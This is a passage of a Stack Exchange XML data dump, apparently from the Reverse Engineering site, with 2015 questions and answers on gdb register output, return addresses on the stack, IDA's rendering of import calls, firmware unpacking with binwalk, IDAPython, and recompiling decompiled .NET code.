  <row Id="9221" PostTypeId="1" AcceptedAnswerId="9222" CreationDate="2015-06-25T06:31:03.357" Score="4" ViewCount="5991" Body="&lt;p&gt;Upon running info registers in gdb, we get an output similar to the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rax            0x1c 28&#xA;rbx            0x0  0&#xA;rcx            0x400a60 4196960&#xA;rdx            0x7fffffffde88   140737488346760&#xA;rsi            0x1  1&#xA;rdi            0x400932 4196658&#xA;rbp            0x0  0x0&#xA;rsp            0x7fffffffde68   0x7fffffffde68&#xA;r8             0x400ad0 4197072&#xA;r9             0x7ffff7dea560   140737351951712&#xA;r10            0x7fffffffdc30   140737488346160&#xA;r11            0x7ffff7732dd0   140737344908752&#xA;r12            0x4007f0 4196336&#xA;r13            0x7fffffffde80   140737488346752&#xA;r14            0x0  0&#xA;r15            0x0  0&#xA;rip            0x7ffff7732dd0   0x7ffff7732dd0&#xA;eflags         0x202    [ IF ]&#xA;cs             0x33 51&#xA;ss             0x2b 43&#xA;ds             0x0  0&#xA;es             0x0  0&#xA;fs             0x0  0&#xA;gs             0x0  0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While I do understand the for rax, rcx etc, GDB is converting the value to decimal for the second column, this doesn't seem consistent. Some registers, namely rsp and rip show the same value in hex, even in the second column. eflags on the other hand shows the flags in the second column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the reason that gdb does this? If it is going to show the same info (in case of rsp and rip), isn't it redundant? Also, how does this generalize on other architectures? (The above output is for x86-64).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/31026000/gdb-info-registers-command-second-column-of-output&quot;&gt;Source&lt;/a&gt;. I re-asked this question since I thought I would find more specific answer in reverse engineering point of view.&lt;/p&gt;&#xA;" OwnerUserId="11468" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2015-06-25T07:35:52.177" Title="Output of gdb `info registers`" Tags="|gdb|register|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9222" PostTypeId="2" ParentId="9221" CreationDate="2015-06-25T07:27:22.083" Score="5" Body="&lt;p&gt;In fact, in assembly you can find only three types of values:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Numerical values;&lt;/li&gt;&#xA;&lt;li&gt;Memory addresses;&lt;/li&gt;&#xA;&lt;li&gt;Instructions (opcodes).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;General purpose registers, such as &lt;code&gt;rax&lt;/code&gt;, &lt;code&gt;rbx&lt;/code&gt;, ..., are used to store either numerical values (that will trigger the behavior of the program) or memory addresses (to know where to read/write or to jump).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, as most of human beings are used to decimal format for the values used in programs, it is important to display a decimal format when the register might contain such values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, it is important to know that memory addresses are usually given in hexadecimal format (mainly for compactness reasons). And, general purpose registers might also contain memory addresses. That is why &lt;code&gt;gdb&lt;/code&gt; display both decimal and hexadecimal formats just in case one or the other is the best suitable for the current value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The registers &lt;code&gt;rsp&lt;/code&gt;, &lt;code&gt;rip&lt;/code&gt; (and &lt;code&gt;rbp&lt;/code&gt;) are special cases because they are specifically used to store addresses (and only this), thus it would be of no use to translate the content of such registers into decimal format. That is why &lt;code&gt;gdb&lt;/code&gt; is only giving an hexadecimal format for these registers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, the case of the &lt;code&gt;rflags&lt;/code&gt;/&lt;code&gt;eflags&lt;/code&gt; is a bit special because this register has a meaning that is bit-per-bit dependent (see the following figure).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/slUoN.png&quot; alt=&quot;EFLAGS bit-per-bit details&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, giving the decimal, hexadecimal or binary format is not really useful to the user (except if you can relate the numbers to the flags instantly). But, it is much more useful to give the list of flags that are set as 'true' (this is the &lt;code&gt;[ IF ]&lt;/code&gt; that you see in your example). Yet, &lt;code&gt;gdb&lt;/code&gt; gives the hexadecimal value of the &lt;code&gt;eflags&lt;/code&gt; as it can be accessed and used as a value in programs (I have seen this for obfuscation purpose).&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-06-25T07:35:52.177" LastActivityDate="2015-06-25T07:35:52.177" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9225" PostTypeId="2" ParentId="9209" CreationDate="2015-06-25T15:42:09.963" Score="5" Body="&lt;p&gt;Special for beginners Dennis Yurichev wrote this book:&#xA;&lt;a href=&quot;http://beginners.re/Reverse_Engineering_for_Beginners-en.pdf&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Reverse Engineering for Beginners&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find it and download on his &lt;a href=&quot;http://beginners.re/&quot; rel=&quot;nofollow&quot;&gt;site&lt;/a&gt; for free.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Topics discussed: x86/x64, ARM/ARM64, MIPS, Java/JVM.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Topics touched: Oracle RDBMS, Itanium, copy-protection dongles,&#xA;  LD_PRELOAD, stack overflow, ELF, win32 PE file format, x86-64,&#xA;  critical sections, syscalls, TLS, position-independent code (PIC),&#xA;  profile-guided optimization, C++ STL, OpenMP, win32 SEH.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12810" LastEditorUserId="12810" LastEditDate="2015-06-25T19:14:26.667" LastActivityDate="2015-06-25T19:14:26.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9226" PostTypeId="2" ParentId="9187" CreationDate="2015-06-25T17:12:13.983" Score="2" Body="&lt;p&gt;I post this as an &quot;answer&quot;, because my reputation doesn't yet allow me a comment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is copied from the book &quot;Practical Reverse Engineering&quot; by Bruce Dang et al. as &quot;mystery7&quot;, see Figure 2.13 in the book. The author himself does not comment on the strange BFC.W statement. This very statement has been commented in another blog &lt;a href=&quot;http://johannesbader.ch/2014/06/practical-reverse-engineering-solutions-page-78-part-iii/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, as &quot;I don’t understand the purpose of setting the two most significant bits of the difference to zero. Those bits shouldn’t be set in the first place for any reasonable strings.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe that statement serves some purpose. If yes it might be rather obscure.&lt;/p&gt;&#xA;" OwnerUserId="12800" LastActivityDate="2015-06-25T17:12:13.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9227" PostTypeId="2" ParentId="6647" CreationDate="2015-06-25T20:19:28.430" Score="0" Body="&lt;p&gt;You can try and use &lt;a href=&quot;https://github.com/ynvb/DIE&quot; rel=&quot;nofollow&quot;&gt;DIE&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DIE uses IDA's debugger to get the values passed to and from functions during runtime. After execution, it will generate a &quot;value-view&quot; window, listing all the values it collected. If your value is there, you can see where it was used / generated. Note that if the value is not passed to or returned from functions it will not appear in the value view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From there, you can set breakpoints (or conditional breakpoints) at the relevant locations and debug the program again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does require an up-to-date version of IDA Pro, though.&lt;/p&gt;&#xA;" OwnerUserId="12872" LastActivityDate="2015-06-25T20:19:28.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9228" PostTypeId="2" ParentId="9201" CreationDate="2015-06-25T22:55:05.853" Score="4" Body="&lt;p&gt;For ideas look at &lt;a href=&quot;https://github.com/trailofbits/mcsema/blob/master/tools/mcsema_disass/ida/get_cfg.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/trailofbits/mcsema/blob/master/tools/mcsema_disass/ida/get_cfg.py&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of how to get the mnemonic of the entrypoint opcode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idaapi&#xA;import idautils&#xA;&#xA;ea = idaapi.get_screen_ea()  // Gets the entrypoint VA&#xA;idautils.DecodeInstruction(ea).get_canon_mnem() // e.g. push or jne&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd used that technique recently, checked the example works.&#xA;Essentially if you can get the VA of an instruction, then you can use DecodeInstruction or DecodePreviousInstruction in idautils.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can use the consts that Trail of bits used e.g&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;COND_BRANCHES = [\&#xA;idaapi.NN_ja,\&#xA;idaapi.NN_jae,\&#xA;idaapi.NN_jb,&#xA;....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;function docs here - &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/support/idapython_docs/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12695" LastEditorUserId="8200" LastEditDate="2017-07-12T04:26:13.210" LastActivityDate="2017-07-12T04:26:13.210" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9229" PostTypeId="1" AcceptedAnswerId="9472" CreationDate="2015-06-25T23:20:08.980" Score="4" ViewCount="2243" Body="&lt;p&gt;I am trying to extract this &lt;a href=&quot;ftp://113.160.47.142/firmware-ONT/I240w-A/FE54869ACAD07&quot; rel=&quot;noreferrer&quot;&gt;ONT I240w-A firmware&lt;/a&gt; and binwalk reports some LZMA compressed data (dump below) but the fact the all of them read &quot;uncompressed size: -1 bytes&quot; makes me suspect they are false positives.  Is this a correct assumption?  Can someone provide any suggestions on how to unpack this file?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes&#xA;64613         0xFC65          LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes&#xA;663307        0xA1F0B         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes&#xA;1277775       0x137F4F        VMware4 disk image&#xA;1419798       0x15AA16        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes&#xA;2167742       0x2113BE        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes&#xA;2966631       0x2D4467        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes&#xA;3649662       0x37B07E        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes&#xA;4619541       0x467D15        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes&#xA;5626408       0x55DA28        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes&#xA;6526915       0x6397C3        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes&#xA;7352076       0x702F0C        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes&#xA;8028944       0x7A8310        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes&#xA;8790601       0x862249        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes&#xA;9628455       0x92EB27        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes&#xA;10380524      0x9E64EC        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes&#xA;11136805      0xA9EF25        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes&#xA;11917494      0xB5D8B6        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes&#xA;12590672      0xC01E50        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes&#xA;13354487      0xCBC5F7        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes&#xA;13954117      0xD4EC45        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes&#xA;13955290      0xD4F0DA        uImage header, header size: 64 bytes, header CRC: 0xED8A6EC8, created: 2013-08-16 11:32:36, image size: 2369813 bytes, Data Address: 0x80010000, Entry Point: 0x80014110, data CRC: 0xB66029EE, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: gzip, image name: &quot;Linux Kernel Image&quot;&#xA;13955354      0xD4F11A        gzip compressed data, maximum compression, from Unix, NULL date (1970-01-01 00:00:00)&#xA;16325167      0xF91A2F        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes&#xA;16476952      0xFB6B18        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: -1 bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12873" LastActivityDate="2015-07-28T03:37:08.850" Title="How to extract the filesystem from a I240w-A firmware" Tags="|firmware|unpacking|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9230" PostTypeId="1" AcceptedAnswerId="9232" CreationDate="2015-06-26T01:18:36.430" Score="2" ViewCount="12028" Body="&lt;p&gt;I've read that the return address of a function call is always pushed on the ESP stack. But the thing when i tried to see that using &lt;code&gt;gdb&lt;/code&gt;, I didn't find it. Here's the program written in C I've used :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;&#xA;void test_function(int a, int b, int c, int d) {&#xA;int flag;&#xA;char buffer[10];&#xA;flag = 31337;&#xA;buffer[0] = 'A';&#xA;}&#xA;&#xA;int main() {&#xA;  test_function(1, 2, 3, 4);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;gdb&lt;/code&gt; disassemble of this code gives me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) disas main&#xA;Dump of assembler code for function main:&#xA;   0x0804846c &amp;lt;+0&amp;gt;: push   ebp&#xA;   0x0804846d &amp;lt;+1&amp;gt;: mov    ebp,esp&#xA;   0x0804846f &amp;lt;+3&amp;gt;: and    esp,0xfffffff0&#xA;   0x08048472 &amp;lt;+6&amp;gt;: sub    esp,0x10&#xA;   0x08048475 &amp;lt;+9&amp;gt;: mov    DWORD PTR [esp+0xc],0x4&#xA;   0x0804847d &amp;lt;+17&amp;gt;:    mov    DWORD PTR [esp+0x8],0x3&#xA;   0x08048485 &amp;lt;+25&amp;gt;:    mov    DWORD PTR [esp+0x4],0x2&#xA;   0x0804848d &amp;lt;+33&amp;gt;:    mov    DWORD PTR [esp],0x1&#xA;=&amp;gt; 0x08048494 &amp;lt;+40&amp;gt;:    call   0x804843d &amp;lt;test_function&amp;gt;&#xA;   0x08048499 &amp;lt;+45&amp;gt;:    leave  &#xA;   0x0804849a &amp;lt;+46&amp;gt;:    ret    &#xA;End of assembler dump.&#xA;(gdb) x/8xw $esp&#xA;0xffffd650: 0x00000001  0x00000002  0x00000003  0x00000004&#xA;0xffffd660: 0x080484a0  0x00000000  0x00000000  0xf7e21a83&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see , I've put a breakpoint at &lt;code&gt;0x08048494&lt;/code&gt; (before the function call). I can see the arguments being pushed on the stack (1,2,3,4) but , I don't see the return address , which in this case should be &lt;code&gt;0x08048499&lt;/code&gt;, right ?&lt;/p&gt;&#xA;" OwnerUserId="12827" LastEditorUserId="53" LastEditDate="2015-06-26T15:38:55.350" LastActivityDate="2015-06-26T19:58:15.257" Title="Return address on ESP?" Tags="|stack|address|esp|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9231" PostTypeId="2" ParentId="9230" CreationDate="2015-06-26T11:32:15.237" Score="3" Body="&lt;p&gt;The comment of Guntram Blohm explains your situation. Since you put the breakpoint at &lt;code&gt;call&lt;/code&gt;, the instruction is not executed yet, and you do not see the returned address is pushed in the stack yet. But if you let it execute (for example by typing &lt;code&gt;si&lt;/code&gt;), then you will see the returned address is pushed into the stack.&lt;/p&gt;&#xA;" OwnerUserId="1619" LastActivityDate="2015-06-26T11:32:15.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9232" PostTypeId="2" ParentId="9230" CreationDate="2015-06-26T11:37:58.000" Score="4" Body="&lt;p&gt;Lets take this small example code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;&#xA;int foo (int a)&#xA;{&#xA;  return a ? a &amp;lt;&amp;lt; 2: 1000;&#xA;}&#xA;&#xA;int main()&#xA;{&#xA;  printf(&quot;The result of foo(10) is %d\n&quot;, foo(10));&#xA;&#xA;  return EXIT_SUCCESS;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once in assembly we get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000000000400506 &amp;lt;foo&amp;gt;:&#xA;  400506:       55                      push   %rbp&#xA;  400507:       48 89 e5                mov    %rsp,%rbp&#xA;  40050a:       89 7d fc                mov    %edi,-0x4(%rbp)&#xA;  40050d:       83 7d fc 00             cmpl   $0x0,-0x4(%rbp)&#xA;  400511:       74 08                   je     40051b &amp;lt;foo+0x15&amp;gt;&#xA;  400513:       8b 45 fc                mov    -0x4(%rbp),%eax&#xA;  400516:       c1 e0 02                shl    $0x2,%eax&#xA;  400519:       eb 05                   jmp    400520 &amp;lt;foo+0x1a&amp;gt;&#xA;  40051b:       b8 e8 03 00 00          mov    $0x3e8,%eax&#xA;  400520:       5d                      pop    %rbp&#xA;  400521:       c3                      retq   &#xA;&#xA;0000000000400522 &amp;lt;main&amp;gt;:&#xA;  400522:       55                      push   %rbp&#xA;  400523:       48 89 e5                mov    %rsp,%rbp&#xA;  400526:       bf 0a 00 00 00          mov    $0xa,%edi&#xA;  40052b:       e8 d6 ff ff ff          callq  400506 &amp;lt;foo&amp;gt;&#xA;  400530:       89 c6                   mov    %eax,%esi&#xA;  400532:       bf d4 05 40 00          mov    $0x4005d4,%edi&#xA;  400537:       b8 00 00 00 00          mov    $0x0,%eax&#xA;  40053c:       e8 9f fe ff ff          callq  4003e0 &amp;lt;printf@plt&amp;gt;&#xA;  400541:       b8 00 00 00 00          mov    $0x0,%eax&#xA;  400546:       5d                      pop    %rbp&#xA;  400547:       c3                      retq   &#xA;  400548:       0f 1f 84 00 00 00 00    nopl   0x0(%rax,%rax,1)&#xA;  40054f:       00 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Lets take a look at the following &lt;code&gt;gdb&lt;/code&gt; session:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) break *0x40052b&#xA;Breakpoint 1 at 0x40052b: file frame.c, line 13.&#xA;(gdb) break *0x400530&#xA;Breakpoint 2 at 0x400530: file frame.c, line 13.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We just set a breakpoint before and after the &lt;code&gt;foo&lt;/code&gt; procedure call.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) break foo&#xA;Breakpoint 3 at 0x40050d: file frame.c, line 7.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We set a breakpoint in the &lt;code&gt;foo&lt;/code&gt; procedure.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) run&#xA;Starting program: /home/fleury/tmp/tests/frame &#xA;&#xA;Breakpoint 1, 0x000000000040052b in main () at frame.c:13&#xA;13    printf(&quot;The result of foo(10) is %d\n&quot;, foo(10));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We start the program and we hit the first breakpoint before the call to &lt;code&gt;foo&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) info frame&#xA;Stack level 0, frame at 0x7fffffffe0c0:&#xA; rip = 0x40052b in main (frame.c:13); saved rip = 0x7ffff7a54b45&#xA; source language c.&#xA; Arglist at 0x7fffffffe0b0, args: &#xA; Locals at 0x7fffffffe0b0, Previous frame's sp is 0x7fffffffe0c0&#xA; Saved registers:&#xA;  rbp at 0x7fffffffe0b0, rip at 0x7fffffffe0b8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We asked information about the stack frame environment. We can notice that &lt;code&gt;save rip = 0x7ffff7a54b45&lt;/code&gt; (which is the return address of the &lt;code&gt;main&lt;/code&gt; procedure).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) continue&#xA;Continuing.&#xA;&#xA;Breakpoint 3, foo (a=10) at frame.c:7&#xA;7     return a ? a &amp;lt;&amp;lt; 2: 1000;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We continue the execution of the program and got stopped inside the &lt;code&gt;foo&lt;/code&gt; procedure (third breakpoint). Lets ask about the stack frame:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; (gdb) info frame&#xA; Stack level 0, frame at 0x7fffffffe0b0:&#xA;  rip = 0x40050d in foo (frame.c:7); saved rip = 0x400530&#xA; called by frame at 0x7fffffffe0c0&#xA; source language c.&#xA; Arglist at 0x7fffffffe0a0, args: a=10&#xA; Locals at 0x7fffffffe0a0, Previous frame's sp is 0x7fffffffe0b0&#xA; Saved registers:&#xA;  rbp at 0x7fffffffe0a0, rip at 0x7fffffffe0a8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;code&gt;saved rip = 0x400530&lt;/code&gt; which is exactly the position of the next assembly instruction after the &lt;code&gt;call foo&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) continue&#xA;Continuing.&#xA;&#xA;Breakpoint 2, 0x0000000000400530 in main () at frame.c:13&#xA;13    printf(&quot;The result of foo(10) is %d\n&quot;, foo(10));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We keep going in the execution and we reach the second breakpoint at the exit of the &lt;code&gt;foo&lt;/code&gt; procedure. Again, lets ask for the return address:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) info frame&#xA;Stack level 0, frame at 0x7fffffffe0c0:&#xA; rip = 0x400530 in main (frame.c:13); saved rip = 0x7ffff7a54b45&#xA; source language c.&#xA; Arglist at 0x7fffffffe0b0, args: &#xA; Locals at 0x7fffffffe0b0, Previous frame's sp is 0x7fffffffe0c0&#xA; Saved registers:&#xA;  rbp at 0x7fffffffe0b0, rip at 0x7fffffffe0b8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It has been restored to the original value when we popped out of &lt;code&gt;foo&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, the &lt;code&gt;info frame&lt;/code&gt; (shortened into &lt;code&gt;i f&lt;/code&gt;) also tell where to find the stored return address on the stack:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Saved registers:&#xA;  rbp at 0x7fffffffe0b0, rip at 0x7fffffffe0b8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, if you ask &lt;code&gt;gdb&lt;/code&gt; to display the content of &lt;code&gt;0x7fffffffe0b8&lt;/code&gt; you should see &lt;code&gt;0x7ffff7a54b45&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) print /x *0x7fffffffe0b8&#xA;$1 = 0x7ffff7a54b45&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-06-26T19:58:15.257" LastActivityDate="2015-06-26T19:58:15.257" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9233" PostTypeId="1" AcceptedAnswerId="9234" CreationDate="2015-06-26T16:38:18.320" Score="3" ViewCount="697" Body="&lt;p&gt;From the recent dissasembly of &quot;HelloWorld.exe&quot; compiled by MSVC:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00411279                 call    ds:__imp__printf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, why base address is data segment, not a code segment (which would be a more logical thing to do?)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Project uses Multithreaded Debug Dll as runtime library.&lt;/p&gt;&#xA;" OwnerUserId="2038" LastActivityDate="2015-06-27T00:49:13.860" Title="Why does windows put standard functions base address in Data Segment?" Tags="|disassembly|windows|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9234" PostTypeId="2" ParentId="9233" CreationDate="2015-06-26T16:44:00.597" Score="8" Body="&lt;ol&gt;&#xA;&lt;li&gt;Windows didn't do that; the MSVC compiler did that.&lt;/li&gt;&#xA;&lt;li&gt;The content at &lt;code&gt;__imp__printf&lt;/code&gt; is not the function's code; it's a pointer the function's code. Since it's a pointer (which is data, not code), it makes sense for the pointer value to be in a data segment, not in a code segment. More specifically, this pointer value is set at run-time by the loader, so the memory page needs to be writeable, which is even more of a reason for this to be in a data segment instead of in a code segment.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-06-26T16:44:00.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9235" PostTypeId="2" ParentId="9233" CreationDate="2015-06-27T00:49:13.860" Score="3" Body="&lt;p&gt;The &lt;code&gt;ds:&lt;/code&gt; was added by IDA, not by the compiler.  If you look at the raw opcode bytes, you will see that there is no DS override prefix in the instruction.  It's silly that it does this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA adds that &lt;code&gt;ds:&lt;/code&gt; prefix because otherwise you wouldn't know that this is an indirect call--that is, that it's reading a 32-bit variable at an address named &lt;code&gt;__imp__printf&lt;/code&gt; then calling the address stored in that variable.  Without the &lt;code&gt;ds:&lt;/code&gt;, it would be just be calling &lt;code&gt;__imp__printf&lt;/code&gt; directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If IDA used a better assembly language syntax--namely, the nasm syntax--that instruction would look like simply this, using brackets to show that it is a memory read (and &lt;code&gt;dword&lt;/code&gt; to distinguish from a few other weird types of &lt;code&gt;call&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00411279             call dword [__imp__printf]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Windows, like pretty much every other 32-bit OS, has a flat address space.  CS, DS, ES and SS all have the same base address, 0, so it doesn't matter which segment you use as your base.  (Except that you can't do a memory write if CS is your segment.)  FS and GS have different bases, since the major OS's all use them for thread-local storage, but those will always have explicit prefix bytes in the instruction.&lt;/p&gt;&#xA;" OwnerUserId="12881" LastActivityDate="2015-06-27T00:49:13.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9236" PostTypeId="2" ParentId="9178" CreationDate="2015-06-27T11:25:21.453" Score="5" Body="&lt;p&gt;You may work according to the following pattern:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Save code in ILSpy (or in Reflector) as .cs files (as you already   described) &lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Try to create a Visual Studio project from that code&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make all modifications in Visual Studio.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If VS compiles the code, it should open as well in ILSpy and/or Reflector.    &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If it doesn't it is most probably not complete and/or not correct. In&#xA;that case you might simplify the code until you get something&#xA;compilable, to identify the &quot;missing links&quot;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In this way I have been able to recompile also more complicated&lt;br&gt;&#xA;software. First do everything statically, until you have something&lt;br&gt;&#xA;where code is created in VS. Then test it and expand it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Code parts which do not recompile in ILSpy or Reflector (each has its own strengths and weaknesses) can be exported in IL and perhaps manually rearranged to recompile in the tools, then further processed in Visual Studio. Unfortunately, VS does not allow for inline IL assembled code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, Reflector protects itself (among other means like obfuscation) against recompilation with useless 